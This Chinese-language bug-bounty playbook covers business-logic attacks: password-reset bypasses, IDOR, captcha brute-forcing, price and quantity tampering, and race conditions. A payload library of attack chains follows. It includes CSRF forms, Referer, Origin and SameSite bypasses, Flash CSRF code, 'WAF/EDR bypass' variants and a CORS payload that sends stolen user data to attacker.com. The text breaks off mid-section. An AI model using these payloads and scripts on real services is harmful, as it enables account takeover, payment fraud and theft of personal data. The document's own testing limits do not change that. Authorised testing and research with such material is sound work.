50 KiB
业务逻辑 / 越权 / 验证码 / 支付篡改
视角:黑盒,关注流程、状态机、不变量
1. 一句话说清
逻辑漏洞 = 程序按预期工作,但预期不对。 不是注入、不是 RCE,没有"特定 payload",靠的是流程理解 + 篡改 + 重放。 SRC 价值:很难被 WAF 检测,公司大厂常因业务复杂而暴露。
2. 高频入口点(按 WooYun 8,292 案例归类)
| 类型 | 入口特征 | 关键参数 |
|---|---|---|
| 密码重置 | /reset、/forgot、/findpwd、/sms |
phone、username、code、token、step |
| 越权 | /user/{id}、/order/{id} |
id、uid、oid、addrid、hotelid |
| 角色 / 提权 | /role、/permission、/profile |
role、aid、isAdmin、level |
| 支付 / 订单 | /order/create、/pay、/checkout |
price、amount、total、count、couponCode |
| 验证码 | /sendSms、/captcha、/verify |
code、captcha、smsCode |
| 优惠券 / 积分 | /coupon、/exchange、/redeem |
code、couponId、points |
3. 探测手法(按子类分)
3.1 密码重置 4 模式(来自 wooyun 22 案例)
模式 A:验证码回显在响应
POST /api/sendSmsCode HTTP/1.1
phone=13888888888
→ 响应:
{"code":0,"data":{"verifyCode":"123456"}}
探针:抓发送验证码的响应包,搜 verifyCode、smsCode、code、captcha。
案例:某停车 APP、某社区平台、某邮箱(wooyun-2015-0134914)。
模式 B:验证码与用户解绑
1. 用攻击者自己手机 138xxxx0001 注册,收到 code=123456
2. 对受害者发起重置 phone=victim
3. 提交重置表单 phone=victim, code=123456 → 通过
探针:让平台给 A 手机发码,然后用 A 收到的码去验证 B 手机。 案例:某记账 APP(影响 8000W 用户)。
模式 C:流程跳跃
正常 4 步:输入账号 → 验证身份 → 重置密码 → 完成。
探针:直接 GET / POST 第 3 步页面 URL;或用 Burp 改前端流程状态。
1. 走完正常流程一次,记录每一步 URL
2. 直接发起第 3 步请求 / 看到达第 3 步是否需要前置 token
3. 修改前端 DOM:用 F12 把"重置密码"DOM 替换"身份验证"
案例:某户外用品商城(wooyun-2014-054890)。
模式 D:凭证参数可控
POST /resetPassword HTTP/1.1
username=victim&newPassword=hacked123
探针:提交时改请求体里的用户名 / token / userId 字段。
看是否真的把 victim 的密码改了(用受害者账号尝试登录新密码)。
3.2 越权(IDOR)
水平越权(同级用户)
# A 自己的资源
GET /api/address/edit/?addid=100001
# 改成 B 的
GET /api/address/edit/?addid=100002
探针:
- 用账号 A 操作,记下 ID
- 用账号 B 重发同一请求,把 ID 换成 A 的
- 200 + 返回 A 的数据 = IDOR
工具:Burp Autorize 插件,自动比较两个 session 的响应。
参考案例:wooyun-2015-0119942(某商城 20W+ 用户)、wooyun-2014(一嗨租车 19W 发票)。
垂直越权(普通 → 管理员)
# 普通用户改自己资料
POST /updateUser HTTP/1.1
user.aid=3&user.name=test
# 改成管理员 ID
POST /updateUser HTTP/1.1
user.aid=1&user.name=test
探针:
- 注册两个账号:普通 + 管理员(用平台 demo / 自己测)
- 抓管理员页面的接口
- 用普通用户 token 直接调
- 200 + 操作成功 = 提权
枚举角色 ID:通常 1=超管, 2=管理员, 3=普通用户。
Header / Cookie 注入越权
X-User-Role: admin
X-User-Id: 1
X-Original-User: admin
X-Forwarded-User: admin
Cookie: role=admin; isAdmin=1; userId=1
某些系统把 Header / Cookie 直接当身份信息——逐个加上面 header 重发。
IDOR 测试矩阵
| 操作 | 探针 | 风险 |
|---|---|---|
| 读 | 改 ID 查他人资源 | 中 / 高 |
| 改 | 改 ID 改他人资源 | 高 |
| 删 | 改 ID 删他人资源 | 严重(不可逆,禁实测删除!) |
| 创建 | 改 owner 字段 | 高 |
3.3 验证码绕过(20 案例)
不刷新 / 可重用
# 同一验证码用多次
captcha = "ABCD"
for password in wordlist:
r = login(username, password, captcha)
if "success" in r.text: break
探针:连续登录失败 5 次,验证码图片不变 → 可固定值爆破密码。
4–6 位纯数字 + 无频率限制
sms code = 4-6 digit numeric
no throttle
→ Burp Intruder 100 线程爆破
参考:某品牌商城 APP 5 位数字验证码 30 秒爆完。
客户端验证 / 响应篡改
# 服务端返回
{"status":"0","msg":"验证码错误"}
# 改成
{"status":"1","msg":"成功"}
→ 客户端进入下一步
探针:在 Burp 拦响应包,把 0/false/error 改成 1/true/success。
适用:status 控制下一步流程的 SPA。
参考案例:健一网 APP(wooyun-2015-0139590)、你我金融。
3.4 支付 / 订单(9 案例)
价格篡改
POST /order/create HTTP/1.1
{"productId":"12345","quantity":1,"price":0.01}
# 原价 299,提交 0.01 → 服务端不重算 → 0.01 元购入
探针清单(每个值都试):
price = 0
price = 0.01
price = -100
price = 1e-10
price = "0.01" # 字符串
price = null
price = {"$gt":0} # MongoDB 注入
price = [299,0.01] # 数组
数量篡改
count = -1 # 负数 → 退款逻辑被反向触发
count = 0 # 免费下单
count = 9999999999 # 整数溢出
优惠券滥用 / 撤销
1. 下满减组合订单(A 商品 59 元 + 换购 B 商品 5.9 元)
2. 支付后取消 A 商品
3. 实际以 5.9 元购得原价 21 元的 B
重放支付回调
# 三方支付回调
POST /pay/notify
sign=xxx&order_id=123&status=success&amount=100
# 重放同一回调(同 sign)
→ 如果服务端不查询 order 状态,可能多次发货
并发竞争
# 同时创建 50 个 0.01 元订单
import threading
def create():
requests.post("/order/create", json={"price":0.01,"productId":"premium"})
threads = [threading.Thread(target=create) for _ in range(50)]
[t.start() for t in threads]
参数污染
POST /order/create?price=299.00&price=0.01
POST /order/create body: price[]=299.00&price[]=0.01
参考案例:wooyun-2015-0108817(某电商价格篡改)、中国才储、春趣商城。
3.5 竞态条件(race)
| 场景 | 探针 |
|---|---|
| 优惠券双花 | 并发 50 次同一 coupon code |
| 余额超扣 | 并发提现 / 转账,初始余额 100,每次提 100 |
| 邀请奖励刷量 | 并发注册新用户 + 邀请码 |
| 验证码爆破 | 并发提交不同 code |
| 限购抢购 | 并发下单 |
| 唯一性破坏 | 并发注册同一用户名(existsByUsername 之后再 insert,竞态可双注册) |
工具:
- Burp Suite Intruder("Send N requests in parallel")
- Turbo Intruder(精确并发)
- 自写 Python
threading/ Go goroutine
参考:详见 playbooks/race-conditions.md。
4. Bypass 矩阵
| 拦截 | 绕过 |
|---|---|
| 单 IP 频率限制 | 多 IP / 代理池 / X-Forwarded-For 注入 |
| 同一手机号频率 | 在号码后加点(13888888888.、[REDACTED]、013888888888) |
| 验证码图形 | 调验证码识别 API(仅自测合规情况下) |
| 同一账号操作 | 注册多账号轮询 |
| 时间限制 | 改 Date Header(少数系统采信) / 调时区参数 |
| Token 一次性 | 抓发包前后 token,看是否真的失效 |
5. 利用提权 / 横向
| 起点 | 终点 |
|---|---|
| 密码重置漏洞 | 接管所有用户(H1 中位 $2k–$10k) |
| 水平 IDOR 大数据 | PII 泄露(每条 PII = $1–$5 黑市价) |
| 垂直 IDOR | 提权到管理员 → 后台所有功能 → P0 |
| 支付 0.01 元 | 实物商品 / 会员服务 / 虚拟币 |
| 验证码爆破 | 任意账号接管 |
| 重放回调 | 多次发货 / 多次充值 |
| 竞态优惠券 | 反复使用同一优惠 |
6. 真实案例指纹
| 漏洞类型 | wooyun ID / 案例 | 指纹 / 一句话 |
|---|---|---|
| 验证码回显 | 某停车 APP wooyun-2015-0134914 | 响应包含 verifyCode / smsCode |
| 重置流程跳过 | 某户外用品商城 wooyun-2014-054890 | 直接访问第 3 步 URL 不验证前置 |
| 水平越权 | 某成人用品商城 wooyun-2015-0119942 | ?id= 改成他人 ID 200 |
| 垂直越权 | 浙江在线 wooyun-2015-099378 | user.aid=1 提权超管 |
| 金额篡改 | 中国才储 wooyun-2012-07745 | price=0.01 通过支付 |
| 价格参数 | 某电商 wooyun-2015-0108817 | 客户端提交 price,服务端不重算 |
| 撞库 | 某手机厂商论坛 wooyun-2014-061871 | 8W 弱口令,无频率限制 |
| Cookie 伪造 | 福建网龙 wooyun-2015-0157092 | ?userAccount=admin 直接写 Cookie |
| 响应篡改 | 健一网 wooyun-2015-0139590 | 改返回 status=1 进入下一步 |
7. 复现 / 证据要点
7.1 IDOR 报告必备
- 两个账号:A(攻击者)+ B(受害者,实际为研究员的另一个测试账号)
- A 的合法请求包 + 200
- A 改成 B 的 ID 的请求包 + 200 + 含 B 的数据
- 如果用真实第三方账号测试到了,立即停止 + 不在报告中放任何真实数据 + 主动声明
7.2 越权 PoC 模板
# 复现步骤
## 账号准备
- 账号 A:用户名 hunter_a,user_id=10001(攻击者控制)
- 账号 B:用户名 hunter_b,user_id=10002(攻击者控制,仅用于证明 IDOR)
## Step 1:A 查询自己订单(基线)
GET /api/orders/100 Authorization: A_token → 200,返回 A 的订单
(请求/响应见附件 1)
## Step 2:A 查询 B 的订单(漏洞证明)
GET /api/orders/200 Authorization: A_token → 200,返回 B 的订单内容
(请求/响应见附件 2)
## Step 3:用 C(陌生 user_id=99999)证明非测试账号也可遍历
GET /api/orders/99999 Authorization: A_token → 200,含订单号、收货人、电话(已脱敏)
仅取 1 条样本,未尝试遍历更多。
7.3 价格篡改 PoC 模板
1. 商品页:299 元
2. 提交订单时改 price=0.01:
POST /order/create
{"productId":"X","quantity":1,"price":0.01}
3. 服务端响应订单总额 = 0.01 元
4. 实际支付页面也是 0.01 元(截图 + 支付平台订单截图)
5. 收到商品 / 服务(如果是数字商品则看激活页面)
7.4 CVSS 参考
垂直越权 → 提权 admin CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8
水平越权 → 读他人 PII CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5
密码重置接管 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
价格篡改 0.01 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5(按业务影响升降)
验证码爆破登录 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
7.5 影响段(强调业务影响)
本漏洞允许任意普通用户通过修改 user_id 参数读取/修改他人订单数据。
对平台业务的实际影响:
1. 用户 PII 泄露:订单含姓名、收货地址、电话、邮箱(GDPR/CCPA 风险);
2. 商业秘密:订单金额、商品偏好等用户画像数据;
3. 信任损害:被恶意修改地址可导致物流诈骗。
测试时使用了攻击者控制的两个账号 A、B,未访问任何真实用户订单。
仅在最后一步用 1 个随机 ID 证明可遍历性,立即停止并已脱敏。
8. 不要做的事
- 禁:用支付篡改实际下单实物商品(即使 0.01 元也不行)。改用:
- 测试环境(如有)
- 数字商品(电子卡券,支付后立即截图,不激活)
- 演示到"订单生成 + 金额异常"即停,不进入支付链路
- 禁:批量 IDOR 拖库。最多 1–3 条样本,且全部脱敏。
- 禁:用密码重置漏洞重置真实用户密码。重置自己的两个测试账号即可。
- 禁:用越权账号执行写 / 删 / 改操作。只读证明。
- 禁:撞库使用 SRC 平台之外的真实数据库(违反法律)。
- 禁:竞态测试发起 1000+ rps(视为 DoS)。控制 50–100 并发即可证明。
- 报告中不要包含:他人 PII 原文、订单号、手机号、地址(一律脱敏到只剩前 2 + 后 2 字符)。
H1 真实案例
从 200+ 份 HackerOne 已披露 High/Critical 报告中按 (赏金 + 投票×100) 排序选取代表案例
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|---|---|---|---|---|
| Critical | 7500 usd | Valve | Modify in-flight data to payment provider Smart2Pay | I have found vulnerability which allows attacker to generate steam wallet balance |
| Critical | 12000 usd | GitLab | An attacker can run pipeline jobs as arbitrary user | Summary An attacker can run arbitrary pipeline jobs as a victim user |
| High | — | TikTok | [CSRF] TikTok Careers Portal Account Takeover | [CSRF] TikTok Careers Portal Account Takeover |
| Critical | — | GitLab | Bypass of GitLab CI runner slash fix in YAML validation | Hi Gitlab Security, I notice the bug #301432 that Jobert reported earlier is could be bypassed by setting variable in environment |
| High | 3500 usd | GitLab | Cross-site Scripting (XSS) - Stored in RDoc wiki pages | Summary When creating an RDoc wiki page it's possible to use a large number of html tags and attributes that are normally sanit… |
| High | — | pixiv | Reset any password | Summary: When I try to reset the password, the verification code of the mailbox is 6 digits, and there is no limit on the numbe… |
| High | — | Reverb.com | Race Condition allows to redeem multiple times gift cards which leads to free "money" | Hello team! I've found a Race Condition vulnerability which allows to redeem gift cards multiple times. This how a s/he can eas… |
| High | — | Semrush | An attacker can buy marketplace articles for lower prices as it allows for negative quantity valu… | Hi there, When we Summary:** When someone goes to https://www.semrush.com/marketplace/offers/ and orders for articles, an attac… |
| Critical | 2000 usd | inDrive | Change phone number OTP flaw leads to any phone number takeover | Summary: Dear Indrive, Ive found another valid report, the app allows any user to change the app phone number, but a flaw withi… |
命中本类的 weakness 分布:
- Business Logic Errors:64 条
- Cross-Site Request Forgery (CSRF):59 条
- Violation of Secure Design Principles:32 条
- Improper Input Validation:21 条
- Improper Restriction of Authentication Attempts:17 条
- Modification of Assumed-Immutable Data (MAID):9 条
- UI Redressing (Clickjacking):8 条
- Uncategorized → 手工归类:7 条
- Client-Side Enforcement of Server-Side Security:4 条
- Weak Password Recovery Mechanism for Forgotten Password:4 条
- User Interface (UI) Misrepresentation of Critical Information:2 条
- External Control of Critical State Data:2 条
- Improper Initialization:1 条
- Exposure of Data Element to Wrong Session:1 条
- Encoding Error:1 条
- Improper Check or Handling of Exceptional Conditions:1 条
- Improper Handling of URL Encoding (Hex Encoding):1 条
Payload 库
15 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体
类别分布: CSRF跨站请求伪造 (8) · 业务逻辑漏洞 (5) · 点击劫持 (2)
· CSRF跨站请求伪造
CSRF基础攻击 csrf-basic
跨站请求伪造基础攻击技术
子类:基础攻击 · tags: csrf cross-site request forgery
前置条件: 目标存在敏感操作;缺少CSRF保护
攻击链:
1. 1. 构造CSRF表单 构造自动提交的CSRF表单
<form action="http://target.com/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123">
<input type="hidden" name="confirm_password" value="hacked123">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
2. 2. GET请求CSRF GET请求的CSRF攻击
<img src="http://target.com/delete?id=123" style="display:none">
或直接诱导用户点击:
http://target.com/delete?id=123
3. 3. JSON CSRF JSON格式的CSRF攻击
<script>
fetch("http://target.com/api/change-email", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: JSON.stringify({email: "attacker@evil.com"})
});
</script>
4. 4. 链接诱导 诱导用户点击
<a href="http://target.com/action?param=value">点击领取红包</a>
或短链接隐藏真实URL
WAF/EDR 绕过变体:
1. Referer绕过 绕过Referer检查
使用Referrer Policy:
<meta name="referrer" content="no-referrer">
或使用data URL:
<data:text/html;base64,CSRF_PAYLOAD>
或使用HTTPS->HTTP降级
2. Token绕过 绕过Token验证
1. 检查Token是否可预测
2. 检查Token是否绑定会话
3. 检查Token是否在GET参数中泄露
4. 检查是否有Token重放漏洞
JSON CSRF攻击 csrf-json
针对JSON请求的CSRF攻击技术
子类:JSON CSRF · tags: csrf json api post
前置条件: 目标使用JSON格式请求;缺少CSRF保护;CORS配置不当
攻击链:
1. 1. 简单JSON CSRF 使用text/plain绕过预检
<script>
fetch("http://target.com/api/update", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "text/plain"},
body: JSON.stringify({email: "attacker@evil.com"})
});
</script>
2. 2. Flash JSON CSRF 使用Flash发送JSON
# 使用Flash发送JSON请求
# 需要目标允许Content-Type: application/json
# 配合Flash的跨域能力
3. 3. XSSI攻击 跨站脚本包含攻击
# 利用JSONP回调
<script src="http://target.com/api/data?callback=attacker"></script>
function attacker(data) { console.log(data); }
# 利用数组返回
[{"secret": "data"}]
<script>var data = [{"secret": "data"}];</script>
4. 4. SWF文件攻击 使用SWF文件
# 创建恶意SWF文件发送JSON请求
# 编译ActionScript代码
# 嵌入HTML页面
WAF/EDR 绕过变体:
1. 修改Content-Type 修改Content-Type绕过
# 尝试不同的Content-Type
text/plain
application/x-www-form-urlencoded
application/x-www-form-urlencoded; charset=UTF-8
2. 使用FormData 使用FormData发送
let formData = new FormData();
formData.append("data", JSON.stringify({email: "attacker@evil.com"}));
fetch(url, {method: "POST", body: formData, credentials: "include"});
CSRF绕过技术 csrf-bypass
绕过CSRF防护的各种技术
子类:绕过技术 · tags: csrf bypass token referer
前置条件: 目标存在CSRF防护;防护机制存在缺陷
攻击链:
1. 1. Token验证绕过 绕过Token验证
# Token可预测
分析Token生成规律,预测有效Token
# Token未绑定会话
使用其他用户的Token
# Token重用
同一个Token可多次使用
# Token在GET参数中泄露
从页面源码获取Token
2. 2. Referer验证绕过 绕过Referer验证
# 正则匹配不严谨
Referer: http://attacker.com/target.com/
Referer: http://target.com.attacker.com/
# 空Referer
<meta name="referrer" content="no-referrer">
# HTTPS->HTTP降级
从HTTPS站点跳转到HTTP不发送Referer
3. 3. Origin验证绕过 绕过Origin验证
# Origin为null
使用data URL或about:blank
# 正则绕过
Origin: http://target.com.attacker.com
Origin: http://attacktarget.com
# IE11不发送Origin
IE11在某些情况下不发送Origin头
4. 4. SameSite绕过 绕过SameSite限制
# SameSite=Lax
GET请求会发送Cookie
构造GET形式的敏感操作
# SameSite未设置
默认行为可能允许跨站发送
# 两分钟窗口
SameSite=Lax有2分钟窗口期
WAF/EDR 绕过变体:
1. CORS配置错误 利用CORS配置错误
# Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
# Access-Control-Allow-Origin: *
允许任意源
# 反射Origin
Access-Control-Allow-Origin: [任意Origin]
SameSite绕过技术 csrf-samesite
绕过SameSite Cookie属性的CSRF攻击
子类:SameSite绕过 · tags: csrf samesite cookie bypass
前置条件: Cookie设置了SameSite属性;SameSite配置存在缺陷
攻击链:
1. 1. SameSite=Lax绕过 绕过SameSite=Lax
# GET请求绕过
构造GET形式的敏感操作
<img src="http://target.com/delete?id=123">
# 顶级导航
<a href="http://target.com/action">点击</a>
window.location = "http://target.com/action"
# 两分钟窗口
在用户交互后2分钟内发起请求
2. 2. SameSite=Strict绕过 绕过SameSite=Strict
# 子域名攻击
从子域名发起请求
http://sub.target.com/attack
# Cookie覆盖
设置同名Cookie覆盖
Set-Cookie: session=attacker; Domain=.target.com
# 利用重定向
从目标站点重定向到攻击页面
3. 3. 未设置SameSite 利用未设置SameSite
# 旧浏览器默认行为
Chrome < 80 默认None
Safari 默认None
# 可直接发起CSRF攻击
无需特殊绕过
4. 4. 利用OAuth流程 利用OAuth流程
# OAuth回调绕过SameSite
1. 发起OAuth登录
2. 在回调中注入恶意请求
3. Cookie在OAuth流程中发送
WAF/EDR 绕过变体:
1. 混合内容 利用混合内容
# HTTPS->HTTP降级
从HTTPS站点发起HTTP请求
某些情况下不发送SameSite
2. 客户端重定向 客户端重定向
# JavaScript重定向
location.href = "http://target.com/action"
可能绕过某些SameSite检查
Token绕过技术 csrf-token-bypass
绕过CSRF Token验证的技术
子类:Token绕过 · tags: csrf token bypass predictable
前置条件: 目标使用CSRF Token;Token机制存在缺陷
攻击链:
1. 1. Token可预测 预测Token值
# 分析Token生成规律
# 常见弱Token模式:
- 时间戳
- 递增数字
- 用户ID哈希
- 弱随机数
# 预测并构造有效Token
2. 2. Token未绑定会话 利用未绑定Token
# Token不验证会话
# 攻击步骤:
1. 攻击者获取自己的Token
2. 使用该Token构造CSRF
3. 诱使受害者提交
# Token可跨用户使用
3. 3. Token泄露 利用Token泄露
# Token在URL中泄露
http://target.com/page?token=xxx
# Token在Referer中泄露
从包含Token的页面跳转
# Token在日志中泄露
服务器日志记录Token
4. 4. Token重放 Token重放攻击
# Token可重复使用
# 攻击步骤:
1. 获取有效Token
2. 多次使用同一Token
3. Token不过期或不失效
5. 5. Token删除绕过 删除Token绕过
# 尝试删除Token参数
POST /action HTTP/1.1
# 不发送Token参数
# 尝试空Token
POST /action?token=
# 尝试删除Token头
WAF/EDR 绕过变体:
1. 方法覆盖 方法覆盖绕过
# 使用_method参数
POST /action?_method=PUT&token=xxx
# 使用X-HTTP-Method-Override
X-HTTP-Method-Override: PUT
2. JSON格式 JSON格式绕过
# 使用JSON格式提交
Content-Type: application/json
{"token": "xxx", "action": "delete"}
# 可能绕过Token验证
Referer绕过技术 csrf-referer-bypass
绕过Referer验证的CSRF攻击
子类:Referer绕过 · tags: csrf referer bypass header
前置条件: 目标验证Referer头;验证逻辑存在缺陷
攻击链:
1. 1. 正则匹配绕过 利用正则匹配缺陷
# 正则只检查包含
Referer: http://attacker.com/target.com/
Referer: http://target.com.attacker.com/
Referer: http://attacktarget.com/
# 正则只检查开头
Referer: http://target.com.attacker.com/
# 正则只检查结尾
Referer: http://attacker.com/target.com
2. 2. 空Referer绕过 发送空Referer
# 不发送Referer
<meta name="referrer" content="no-referrer">
# data URL
data:text/html,<script>CSRF</script>
# about:blank
about:blank
# HTTPS->HTTP降级
从HTTPS站点跳转到HTTP
3. 3. 子域名绕过 利用子域名
# 从子域名发起
Referer: http://sub.target.com/attack
# 从兄弟域名发起
Referer: http://sibling.target.com/
# 利用子域名XSS
在子域名注入XSS发起CSRF
4. 4. Referrer-Policy利用 利用Referrer-Policy
# origin-only
<meta name="referrer" content="origin">
Referer: http://target.com
# origin-when-cross-origin
<meta name="referrer" content="origin-when-cross-origin">
WAF/EDR 绕过变体:
1. iframe嵌入 iframe绕过
# 使用iframe嵌入目标
<iframe src="http://target.com" referrerpolicy="no-referrer">
# sandbox属性
<iframe sandbox="allow-scripts" src="...">
2. Flash/SWF Flash控制Referer
# Flash可以控制Referer
# 编译SWF发送自定义Referer
Flash CSRF攻击 csrf-flash
利用Flash进行CSRF攻击
子类:Flash CSRF · tags: csrf flash swf crossdomain
前置条件: 目标允许Flash请求;crossdomain.xml配置不当
攻击链:
1. 1. crossdomain.xml利用 检查跨域策略文件
# 检查crossdomain.xml
http://target.com/crossdomain.xml
# 允许所有域
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
# 允许特定域
<allow-access-from domain="*.target.com"/>
2. 2. 创建恶意SWF 创建恶意Flash文件
// ActionScript代码
package {
import flash.net.*;
public class CSRF {
public function CSRF() {
var req:URLRequest = new URLRequest("http://target.com/api/action");
req.method = URLRequestMethod.POST;
req.data = "param=value";
req.requestHeaders.push(new URLRequestHeader("Content-Type", "application/json"));
sendToURL(req);
}
}
}
3. 3. 发送JSON请求 发送JSON格式请求
// Flash可以发送任意Content-Type
req.requestHeaders.push(
new URLRequestHeader("Content-Type", "application/json")
);
req.data = JSON.stringify({email: "attacker@evil.com"});
4. 4. 自定义Header 添加自定义Header
// Flash可以添加自定义Header
req.requestHeaders.push(
new URLRequestHeader("X-Custom-Header", "value")
);
// 绕过某些Header验证
WAF/EDR 绕过变体:
1. 绕过预检请求 绕过CORS预检
# Flash可以绕过CORS预检
# 直接发送POST请求
# 携带Cookie
CORS配置错误利用 csrf-cors
利用CORS配置错误进行CSRF攻击
子类:CORS配置错误 · tags: csrf cors misconfiguration api
前置条件: CORS配置错误;允许跨域携带凭证
攻击链:
1. 1. 检测CORS配置 检测CORS配置
# 发送测试请求
curl -H "Origin: http://attacker.com" http://target.com/api
# 检查响应头
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true
# 危险配置
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
2. 2. 反射Origin攻击 利用反射Origin
# 服务器反射任意Origin
Access-Control-Allow-Origin: [请求的Origin]
Access-Control-Allow-Credentials: true
# 攻击代码
fetch("http://target.com/api/sensitive", {
credentials: "include"
})
.then(r => r.json())
.then(data => sendToAttacker(data));
3. 3. null源攻击 利用null源
# 允许null源
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
# 使用data URL
<iframe src="data:text/html,<script>
fetch('http://target.com/api', {credentials: 'include'})
.then(r => r.json()).then(sendToAttacker);
</script>"></iframe>
4. 4. 正则绕过 正则匹配绕过
# 正则匹配不严谨
允许: target.com
绕过: attacktarget.com
target.com.attacker.com
# 攻击代码
fetch("http://target.com.api.attacker.com/api", {
credentials: "include"
});
WAF/EDR 绕过变体:
1. 窃取敏感数据 窃取用户数据
# 利用CORS窃取数据
fetch("http://target.com/api/user", {
credentials: "include"
})
.then(r => r.json())
.then(data => {
new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data));
});
2. 执行敏感操作 执行敏感操作
# 利用CORS执行操作
fetch("http://target.com/api/delete", {
method: "POST",
credentials: "include",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({id: 123})
});
· 业务逻辑漏洞
IDOR越权访问 biz-idor
不安全的直接对象引用(IDOR),通过篡改请求参数中的对象ID越权访问他人数据。攻击者可遍历用户ID、订单号等参数获取未授权资源。
子类:越权漏洞 · tags: IDOR 越权 业务逻辑 OWASP A01
前置条件: 目标存在基于ID的资源访问接口;已登录普通用户账号
攻击链:
1. 1. 识别可遍历参数 识别API中使用数字/UUID作为资源标识符的端点
# 抓取请求中的ID参数
GET /api/users/1001/profile HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}
# 常见IDOR参数:user_id, order_id, file_id, invoice_id, account_id
2. 2. 水平越权测试 遍历用户ID参数,观察响应码和大小差异以确认越权
# 用A用户的Token访问B用户的数据
for id in $(seq 1000 1010); do
curl -s -o /dev/null -w "%{http_code} %{size_download}" \
-H "Authorization: Bearer {TOKEN}" \
"https://{TARGET}/api/users/$id/profile"
echo " -> user_id=$id"
done
3. 3. 垂直越权测试 尝试以低权限用户调用管理员API或修改自身角色
# 用普通用户Token访问管理员接口
GET /api/admin/users HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}
# 尝试修改角色
PUT /api/users/1001 HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}
Content-Type: application/json
{"role": "admin", "is_admin": true}
4. 4. 参数污染越权 利用参数重复、JSON键覆盖和数组注入绕过IDOR防御
# 双参数污染
GET /api/orders?user_id=1001&user_id=1002 HTTP/1.1
# JSON参数覆盖
POST /api/profile/update HTTP/1.1
Content-Type: application/json
{"user_id": 1001, "name": "test", "user_id": 1002}
# 数组注入
GET /api/orders?user_id[]=1001&user_id[]=1002 HTTP/1.1
WAF/EDR 绕过变体:
1. 编码ID绕过 通过编码、负数、溢出等方式绕过ID校验
# Base64编码ID
/api/users/MTAwMQ== (base64 of 1001)
# Hex编码
/api/users/0x3E9
# 负数/溢出
/api/users/-1
/api/users/2147483647
竞态条件攻击 biz-race-condition
利用服务端TOCTOU(Time-of-Check to Time-of-Use)漏洞,通过并发请求在检查与执行之间的时间窗口内多次触发同一操作,实现重复领券、重复提现、超额购买等业务逻辑突破。
子类:竞态条件 · tags: 竞态条件 Race Condition TOCTOU 并发 业务逻辑
前置条件: 目标存在余额/积分/优惠券等可量化资源操作;Python/Turbo Intruder环境
攻击链:
1. 1. 识别竞态目标 识别涉及资源扣减、限量操作的API端点
# 典型竞态场景:
# 1. 优惠券领取 POST /api/coupon/claim
# 2. 余额提现 POST /api/withdraw
# 3. 积分兑换 POST /api/points/exchange
# 4. 限量商品抢购 POST /api/order/create
# 5. 投票/点赞 POST /api/vote
2. 2. Python并发测试脚本 使用Python asyncio并发发送50个相同请求,检测是否能多次领取
import asyncio
import aiohttp
async def race_request(session, url, headers, data):
async with session.post(url, headers=headers, json=data) as resp:
return await resp.json()
async def main():
url = "https://{TARGET}/api/coupon/claim"
headers = {"Authorization": "Bearer {TOKEN}"}
data = {"coupon_id": "COUPON001"}
async with aiohttp.ClientSession() as session:
tasks = [race_request(session, url, headers, data) for _ in range(50)]
results = await asyncio.gather(*tasks)
success = sum(1 for r in results if r.get("code") == 200)
print(f"Total: {len(results)}, Success: {success}")
asyncio.run(main())
3. 3. Burp Turbo Intruder测试 Burp Turbo Intruder的gate机制确保所有请求同时发出
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True)
for i in range(50):
engine.queue(target.req, gate="race1")
engine.openGate("race1")
def handleResponse(req, interesting):
if "success" in req.response:
table.add(req)
4. 4. 验证竞态成功 查询账户资源确认竞态条件是否成功利用
# 检查资源是否被多次消耗
GET /api/user/coupons HTTP/1.1
Host: {TARGET}
Authorization: Bearer {TOKEN}
# 预期:限领1张优惠券实际领到多张
# 检查余额变化
GET /api/user/balance HTTP/1.1
WAF/EDR 绕过变体:
1. HTTP/2单连接并发 HTTP/2多路复用在单TCP连接中发送多个并发请求,绕过基于连接数的限制
# HTTP/2 multiplexing同一连接并发
curl --http2 --parallel --parallel-max 50 \
-H "Authorization: Bearer {TOKEN}" \
-X POST "https://{TARGET}/api/coupon/claim" \
-d '{"coupon_id":"C001"}' \
--next --http2 --parallel ...
支付逻辑篡改 biz-payment-tamper
通过修改支付请求中的金额、数量、折扣等参数来操纵交易逻辑。常见于电商平台和在线支付系统中,可导致0元购、负价格、折扣叠加等严重业务风险。
子类:支付安全 · tags: 支付 金额篡改 业务逻辑 0元购 电商安全
前置条件: 目标存在支付/下单功能;可拦截和修改HTTP请求
攻击链:
1. 1. 金额篡改测试 修改订单请求中的价格字段,测试后端是否校验金额
POST /api/order/create HTTP/1.1
Host: {TARGET}
Content-Type: application/json
Authorization: Bearer {TOKEN}
# 原始请求
{"product_id": "P001", "quantity": 1, "price": 9900}
# 篡改为1分钱
{"product_id": "P001", "quantity": 1, "price": 1}
# 篡改为0元
{"product_id": "P001", "quantity": 1, "price": 0}
# 负数金额(退款到账)
{"product_id": "P001", "quantity": 1, "price": -100}
2. 2. 数量与运费篡改 测试数量边界值、运费篡改和折扣溢出
# 数量为0或负数
{"product_id": "P001", "quantity": 0, "price": 9900}
{"product_id": "P001", "quantity": -1, "price": 9900}
# 修改运费
{"product_id": "P001", "quantity": 1, "shipping_fee": -500}
# 超大折扣
{"product_id": "P001", "quantity": 1, "discount": 9999}
3. 3. 优惠券叠加与替换 测试优惠券是否可叠加使用或替换为高面额券
